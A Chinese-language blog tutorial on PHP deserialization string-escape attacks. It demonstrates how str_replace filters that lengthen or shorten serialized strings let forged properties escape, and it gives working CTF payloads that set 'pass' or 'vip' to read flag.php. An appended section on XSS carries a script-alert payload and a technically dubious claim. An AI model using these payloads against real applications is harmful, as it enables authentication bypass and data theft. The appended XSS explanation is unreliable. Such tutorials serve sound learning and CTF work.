php反序列化字符串逃逸

本文围绕PHP字符串逃逸展开,先介绍了字符串逃逸基础,包括反序列化分隔符、特性及str_replace()函数用法。接着阐述了字符串逃逸的两种情况,即减少和增多,并通过具体例题展示如何利用字符串逃逸构造代码实现属性逃逸,最后总结了做题顺序。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

目录

一、字符串逃逸基础

1、反序列化分隔符:反序列化以;}结束,后面的字符串不影响正常的反序列化

2、特性

成员属性数量

字符串长度

;}是反序列化结束符

3、str_replace()

二、字符串逃逸

1、字符串逃逸——减少(有点绕比较难理解需要多思考)

2、字符串逃逸——增多

3、例题

例题1——增多

例题2——减少

总结:


一、字符串逃逸基础

1、反序列化分隔符:反序列化以;}结束,后面的字符串不影响正常的反序列化

2、特性

  • 成员属性数量

成员属性数量需要与实际的成员属性数量对应

现象1

<?php
class A{
    var $v1 = 'a';    //预定义里只有一个成员属性
}
echo serialize(new A());

$b = 'O:1:"A":1:{s:2:"v1";s:1:"a";s:2:"v2";s:3:"ben";}';    //但这里增加了属性v2
var_dump(unserialize($b));
----------------------------------------------------------
O:1:"A":1:{s:2:"v1";s:1:"a";}
bool(false)    //报错
<?php
class A{
    var $v1 = 'a';    //预定义里只有一个成员属性
}
echo serialize(new A());

$b = 'O:1:"A":2:{s:2:"v1";s:1:"a";s:2:"v2";s:3:"ben";}';    //属性数量为2
var_dump(unserialize($b));
--------------------------------------------------------
O:1:"A":1:{s:2:"v1";s:1:"a";}
object(A)#1 (2) {
  ["v1"]=>
  string(1) "a"
  ["v2"]=>
  string(3) "ben"
}

现象2

<?php
class A{
    var $v1 = 'a';
    var $v2 = 'lin';
}
echo serialize(new A());
$b = 'O:1:"A":2:{s:2:"v1";s:1:"a";s:2:"v3";s:3:"ben";}';
var_dump(unserialize($b));
---------------------------------------------------------
O:1:"A":2:{s:2:"v1";s:1:"a";s:2:"v2";s:3:"lin";}
object(A)#1 (3) {
  ["v1"]=>
  string(1) "a"    //由反序列化获取,改反序列化里的值改变
  ["v2"]=>
  string(3) "lin"    //由A中对应的值获取,直接改v2的值改变
  ["v3"]=>
  string(3) "ben"    //由反序列化获取,改反序列化里的值改变
}
  • 字符串长度

成员属性字符串的长度必须与实际长度一致

O:1:"A":1:{s:2:"v1";s:3:"a"b";}

"是字符还是格式符号由字符串长度3来判断

  • ;}是反序列化结束符

注意:;}前面不能出问题,;}第一次出现的位置结束(第一次出现;}如果在""里则算字符串)

<?php
class A{
    var $v1 = 'a';
    var $v2 = 'lin';
}
echo serialize(new A());
$b = 'O:1:"A":2:{s:2:"v1";s:1:"a";s:2:"v3";s:3:"ben";}s:2:"gg";N;}';    
var_dump(unserialize($b));
-------------------------------------------------------------------
O:1:"A":2:{s:2:"v1";s:1:"a";s:2:"v2";s:3:"lin";}
object(A)#1 (3) {
  ["v1"]=>
  string(1) "a"
  ["v2"]=>
  string(3) "lin"
  ["v3"]=>
  string(3) "ben"
}

;}后加的s:2:"gg";N;}功能性字符串并不影响;}前面的输出

3、str_replace()

用法:用于在字符串中替换指定的内容

语法:

str_replace($search, $replace, $subject, $count);

 参数说明:

  • $search:要被替换的字符串或字符串数组;

  • $replace:用于替换的字符串或字符串数组;

  • $subject:需要进行替换操作的字符串或字符串数组;
  • $count(可选):用于储存替换的次数。

二、字符串逃逸

一般再数据先进行一次serialize再经过unserialize,在这个中间反序列化的字符串变多或者变少的时候有可能存在反序列化属性逃逸

1、字符串逃逸——减少(有点绕比较难理解需要多思考)

第一个字符串减少,吃掉有效代码,在第二个字符串构造代码,多逃逸出一个成员属性

<?php
class A{
    public $v1 = "abcsystem()";
    public $v2 = "123";
}
$data = serialize(new A());    //O:1:"A":2:{s:2:"v1";s:11:"abcsystem()";s:2:"v2";s:3:"123";}
$data = str_replace("system()","",$data);    //str_replace把system()替换为"空"
echo $data;    //O:1:"A":2:{s:2:"v1";s:11:"abc";s:2:"v2";s:3:"123";}
var_dump(unserialize($data));    //bool(false)
-----------------------------------------
O:1:"A":2:{s:2:"v1";s:11:"abc";s:2:"v2";s:3:"123";}
bool(false)

O:1:"A":2:{s:2:"v1";s:11:"abc";s:2:"v2";s:3:"123";}

字符串缺失导致格式被破坏,system()被吃掉,abc";s:2:"v长度为11

令O:1:"A":2:{s:2:"v1";s:?:"abc";s:2:"v2";s:3:"123";}

如此我们可以让123前面的代码abc";s:2:"v2";s:3:"成为一个字符串

思路:通过修改$v2的值123使后面的字符串变为功能性代码;s:2:"v3";N;}实现属性v3的逃逸

O:1:"A":2:{s:2:"v1";s:?:"abc";s:2:"v2";s:?:";s:2:"v3";N;}";}

假设?=两位数(通常情况下是两位数

O:1:"A":2:{s:2:"v1";s:?:"abc";s:2:"v2";s:xx:";s:2:"v3";N;}
一个system()可以替换掉8个字符,abc";s:2:"v2";s:xx:"长度为20,所以前面最少要吃掉3个system()

O:1:"A":2:{s:2:"v1";s:27:"abcsystem()system()syestem()";s:2:"v2";s:xx:";s:2:"v3";N;}";}

abcsystem()system()syestem()的长度是27,吃掉后abc";s:2:"v2";s:xx:"长度为20,

所以后面还要再补上7个字符,故:

O:1:"A":2:{s:2:"v1";s:27:"abcsystem()system()syestem()";s:2:"v2";s:21:"1234567";s:2:"v3";N;}";}

故v1赋值为abcsystem()system()system();v2赋值为1234567";s:2:"v3";N;}

赋值后再次运行

<?php
class A{
    public $v1 = "abcsystem()system()system()";
    public $v2 = '1234567";s:2:"v3";N;}';
}
$data = serialize(new A());    //O:1:"A":2:{s:2:"v1";s:27:"abcsystem()system()system()";s:2:"v2";s:21:"1234567";s:2:"v3";N;}";}
$data = str_replace("system()","",$data);
echo $data;    //O:1:"A":2:{s:2:"v1";s:27:"abc";s:2:"v2";s:21:"1234567";s:2:"v3";N;}";}
var_dump(unserialize($data));
------------------------------------------------
O:1:"A":2:{s:2:"v1";s:27:"abc";s:2:"v2";s:21:"1234567";s:2:"v3";N;}";}
object(A)#1 (3) {
  ["v1"]=>
  string(27) "abc";s:2:"v2";s:21:"1234567"
  ["v2"]=>
  string(21) "1234567";s:2:"v3";N;}"
  ["v3"]=>
  NULL
}

属性v3逃逸出来了

2、字符串逃逸——增多

第一个字符串增多,吐出多余代码,把多余位代码构造成逃逸的成员属性,构造出一个逃逸成员属性

<?php
class A{
    public $v1 = 'ls';
    public $v2 = '123';
}
$data = serialize(new A());    //O:1:"A":2:{s:2:"v1";s:2:"ls";s:2:"v2";s:3:"123";}
$data = str_replace("ls","pwd",$data);    //ste_replace把'ls'替换为'pwd'
echo $data;    //O:1:"A":2:{s:2:"v1";s:2:"pwd";s:2:"v2";s:3:"123";}
var_dump(unserialize($data));    //bool(false)
--------------------------------------
O:1:"A":2:{s:2:"v1";s:2:"pwd";s:2:"v2";s:3:"123";}
bool(false)

O:1:"A":2:{s:2:"v1";s:2:"pwd";s:2:"v2";s:3:"123";}

字符串增多末尾的d被挤出

思路:把吐出来的字符构造成功能性代码

O:1:"A":2:{s:2:"v1";s:xx:"pwd";s:2:"v3";s:3:"666";}";s:2:"v2";s:3:"123";}

";s:2:"v3";s:3:"666";}的长度为22,;}可以结束反序列化所以后面的原功能性代码";s:2:"v2";s:3:"123";}可以不用管

一个ls转成pwd多一个字符,所以要转成";s:2:"v3";s:3:"666";}需要22个ls转成pwd

O:1:"A":2:{s:2:"v1";s:66:"lslslslslslslslslslslslslslslslslslslslslsls";s:2:"v3";s:3:"666";}";s:2:"v2";s:3:"123";}

lslslslslslslslslslslslslslslslslslslslslsls";s:2:"v3";s:3:"666";}成为一串字符串长度为66

故将v1赋值为lslslslslslslslslslslslslslslslslslslslslsls";s:2:"v3";s:3:"666";}

赋值后再次运行

<?php
class A{
    public $v1 = 'lslslslslslslslslslslslslslslslslslslslslsls";s:2:"v3";s:3:"666";}';
    public $v2 = '123';
}
$data = serialize(new A());    //O:1:"A":2:{s:2:"v1";s:66:"lslslslslslslslslslslslslslslslslslslslslsls";s:2:"v3";s:3:"666";}";s:2:"v2";s:3:"123";}
$data = str_replace("ls","pwd",$data);
echo $data;    //O:1:"A":2:{s:2:"v1";s:66:"pwdpwdpwdpwdpwdpwdpwdpwdpwdpwdpwdpwdpwdpwdpwdpwdpwdpwdpwdpwdpwdpwd";s:2:"v3";s:3:"666";}";s:2:"v2";s:3:"123";}
var_dump(unserialize($data));
--------------------------------------------------------------------
O:1:"A":2:{s:2:"v1";s:66:"pwdpwdpwdpwdpwdpwdpwdpwdpwdpwdpwdpwdpwdpwdpwdpwdpwdpwdpwdpwdpwdpwd";s:2:"v3";s:3:"666";}";s:2:"v2";s:3:"123";}
object(A)#1 (3) {
  ["v1"]=>
  string(66) "pwdpwdpwdpwdpwdpwdpwdpwdpwdpwdpwdpwdpwdpwdpwdpwdpwdpwdpwdpwdpwdpwd"
  ["v2"]=>
  string(3) "123"
  ["v3"]=>
  string(3) "666"
}

属性v3逃逸出来了

3、例题

  • 例题1——增多
<?php
highlight_file(__FILE__);
error_reporting(0);
function filter($name){
    $safe=array("flag","php"); 
    $name=str_replace($safe,"hack",$name);
    return $name;
}
class test{
    var $user;
    var $pass='daydream';
    function __construct($user){
        $this->user=$user;
    }
}
$param=$_GET['param'];
$param=serialize(new test($param));
$profile=unserialize(filter($param));    // //对&param的值user进行安全性检查


if ($profile->pass=='escaping'){    //目标
    echo file_get_contents("flag.php");
}
?>

目标:判断pass=='escaping'

分析题目:

1、filter()将flag或者php替换为hack,由于flag长度与hack一致,php与hack长度有变化故这题是用hack替换php的字符增多逃逸;序列化触发__construct()调用$user,user的值是可控的

2、摘取出代码中的可利用信息构造出关键成员属性序列化字符串

<?php
//function filter($name){
//    $safe=array("flag","php");
//    $name=str_replace($safe,"hack",$name);
//    return $name;
//}
class test{
    var $user='php';
    var $pass='escaping';
//    function __construct($user){
//        $this->user=$user;
//    }
}
//$param=$_GET['param'];
//$param=serialize(new test($param));
//$profile=unserialize(filter($param));

//if ($profile->pass=='escaping'){    //目标
//    echo file_get_contents("flag.php");
//}
echo serialize(new test());
?>
----------------------------------------------
O:4:"test":2:{s:4:"user";s:3:"php";s:4:"pass";s:8:"escaping";}

得到需要构造的字符串是";s:4:"pass";s:8:"escaping";},长度为29

3、一个php被替换会吐出一个字符故需要给user赋值为phpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphp";s:4:"pass";s:8:"escaping";}

<?php
//function filter($name){
//    $safe=array("flag","php");
//    $name=str_replace($safe,"hack",$name);
//    return $name;
//}
class test{
    var $user= 'phpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphp";s:4:"pass";s:8:"escaping";}';
    var $pass='escaping';
//    function __construct($user){
//        $this->user=$user;
//    }
}
//$param=$_GET['param'];
//$param=serialize(new test($param));
//$profile=unserialize(filter($param));

//if ($profile->pass=='escaping'){    //目标
//    echo file_get_contents("flag.php");
//}
$a=serialize(new test());
$a=str_replace("php","hack",$a);
echo $a;
?>
-----------------------------------------------
O:4:"test":2:{s:4:"user";s:116:"hackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhack";s:4:"pass";s:8:"escaping";}";s:4:"pass";s:8:"escaping";}

4、发现替换成功后将赋的值带回题目

?param=phpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphp";s:4:"pass";s:8:"escaping";}查看源代码得到flag

  • 例题2——减少
<?php
highlight_file(__FILE__);
error_reporting(0);
function filter($name){
    $safe=array("flag","php");
    $name=str_replace($safe,"hk",$name);
    return $name;
}
class test{
    var $user;
    var $pass;
    var $vip = false ;    //目标
    function __construct($user,$pass){
        $this->user=$user;
    $this->pass=$pass;
    }
}
$param=$_GET['user'];
$pass=$_GET['pass'];
$param=serialize(new test($param,$pass));
$profile=unserialize(filter($param));    //对&param的值user进行安全性检查

if ($profile->vip){
    echo file_get_contents("flag.php");
}
?>

目标:$vip=ture

分析题目:

1、filter()将flag或者php替换为hk,由于flag和php长度都与hk有差所以都可以选择我们这里一样选择php作为被替换的字符,这题是字符减少的字符逃逸;序列化触发__construct()调用$user,user的值是可控的

2、摘取出代码中的可利用信息构造出关键成员属性序列化字符串

<?php
//function filter($name){
//    $safe=array("flag","php");
//    $name=str_replace($safe,"hk",$name);
//    return $name;
//}
class test{
    var $user = 'php';
    var $pass = 'lin';
    var $vip = true ;
//    function __construct($user,$pass){
//        $this->user=$user;
//        $this->pass=$pass;
//    }
//}
//$param=$_GET['user'];
//$pass=$_GET['pass'];
//$param=serialize(new test($param,$pass));
//$profile=unserialize(filter($param));
//
//if ($profile->vip){
//    echo file_get_contents("flag.php");
}
echo serialize(new test());
?>
----------------------------------------------
O:4:"test":3:{s:4:"user";s:3:"php";s:4:"pass";s:3:"lin";s:3:"vip";b:1;}

得到需要构造的关键代码是";s:3:"vip";b:1;}

3、给pass赋值为";s:3:"vip";b:1;}

<?php
//function filter($name){
//    $safe=array("flag","php");
//    $name=str_replace($safe,"hk",$name);
//    return $name;
//}
class test{
    var $user = 'php';
    var $pass = '";s:3:"vip";b:1;}';
    var $vip = true;
//    function __construct($user,$pass){
//        $this->user=$user;
//        $this->pass=$pass;
//    }
//}
//$param=$_GET['user'];
//$pass=$_GET['pass'];
//$param=serialize(new test($param,$pass));
//$profile=unserialize(filter($param));
//
//if ($profile->vip){
//    echo file_get_contents("flag.php");
}
echo serialize(new test());
?>
-------------------------------------------------
O:4:"test":3:{s:4:"user";s:3:"php";s:4:"pass";s:17:"";s:3:"vip";b:1;}";s:3:"vip";b:1;}

4、一个php被替换为hk后面的代码就会有一个字符被包含(吃掉),需要被吃掉的";s:4:"pass";s:17:"长度为19,给user赋值为phpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphp

<?php
//function filter($name){
//    $safe=array("flag","php");
//    $name=str_replace($safe,"hk",$name);
//    return $name;
//}
class test{
    var $user = 'phpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphp';
    var $pass = '";s:3:"vip";b:1;}';
    var $vip = true;
//    function __construct($user,$pass){
//        $this->user=$user;
//        $this->pass=$pass;
//    }
//}
//$param=$_GET['user'];
//$pass=$_GET['pass'];
//$param=serialize(new test($param,$pass));
//$profile=unserialize(filter($param));
//
//if ($profile->vip){
//    echo file_get_contents("flag.php");
}
$a = serialize(new test());    //O:4:"test":3:{s:4:"user";s:57:"phpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphp";s:4:"pass";s:17:"";s:3:"vip";b:1;}";s:3:"vip";b:1;}
$a = str_replace("php","hk",$a);
echo $a;    //O:4:"test":3:{s:4:"user";s:57:"hkhkhkhkhkhkhkhkhkhkhkhkhkhkhkhkhkhkhk";s:4:"pass";s:17:"";s:3:"vip";b:1;}";s:3:"vip";b:1;}
?>
-----------------------------------------------------------------------------------
O:4:"test":3:{s:4:"user";s:57:"hkhkhkhkhkhkhkhkhkhkhkhkhkhkhkhkhkhkhk";s:4:"pass";s:17:"";s:3:"vip";b:1;}";s:3:"vip";b:1;}

5、发现替换成功后将赋的值带回题目

?user=

phpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphp&pass=";s:3:"vip";b:1;}

查看源代码得到flag(由于靶场有点问题就不做演示)

总结:

字符增多逃逸:第一个字符串增多出多余代码,把多余位代码构造成逃逸的成员属性,构造出一个逃逸成员属性

字符减少逃逸:第一个字符串减少掉有效代码,在第二个字符串构造代码,多逃逸出一个成员属性

做题顺序:

1、找目标;

2、构造所需的有效代码;

3、将构造出的有效代码作为值赋值给属性

### PHP 反序列化中的字符逃逸与 XSS 攻击 #### 防御措施 为了防止通过反序列化操作引发的安全风险,尤其是针对XSS攻击,应当采取严格的输入验证机制。任何来自用户的输入都应被视作潜在威胁并加以过滤和消毒处理[^1]。 对于PHP应用程序而言,在接收外部传入的数据之前,应该先对其进行严格校验,确保其合法性后再考虑是否允许进入后续逻辑流程中;同时也要注意对敏感函数调用处做额外防护,比如禁用危险方法或属性设置只读权限等手段来减少可能存在的漏洞面[^2]。 另外一种有效的预防方式就是避免直接存储可执行代码片段于对象内部成员变量之中——这不仅能够有效阻止因意外情况而导致程序行为失常的现象发生,而且还可以大大降低由于设计缺陷所造成的安全隐患级别[^3]。 最后但同样重要的是保持框架版本更新至最新状态,并积极关注官方发布的安全公告以便及时修补已知问题[^4]。 ```php // 输入验证示例 function validateInput($input){ // 实现具体的验证逻辑... } $inputData = $_GET['data']; if (!validateInput($inputData)) { die('Invalid input'); } ``` #### 利用实例分析 尽管不推荐主动制造此类漏洞用于测试目的之外的情况,但在特定环境下理解这些技术细节有助于加深开发者对于安全性概念的认识程度以及提高修复能力水平。 考虑到实际场景应用时可能会遇到各种复杂状况,这里给出一个基于给定条件下的简单案例说明: 假设存在如下所示的一个异常类定义,其中包含了未经转义便直接嵌套HTML标签的内容作为消息参数传递给了构造器,则当该对象经过序列化之后再次被还原成原始形态之时就会触发浏览器端脚本执行环境内的弹窗警告事件。 ```php <?php class ExceptionWithHtmlMessage extends \Exception{ protected $message; public function __construct(string $msg){ parent::__construct(); $this->message=$msg; } } $a=new ExceptionWithHtmlMessage("<script>alert('xss')</script>"); $b=serialize($a); echo urlencode($b); // 输出编码后的字符串供进一步利用 ?> ``` 上述代码展示了如何创建含有恶意脚本的对象并通过`serialize()`将其转换为字符串形式输出。一旦此数据流重新加载回服务器端解析空间内完成重建动作后即刻激活预埋设好的JavaScript指令集从而实现跨站脚本注入效果。
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值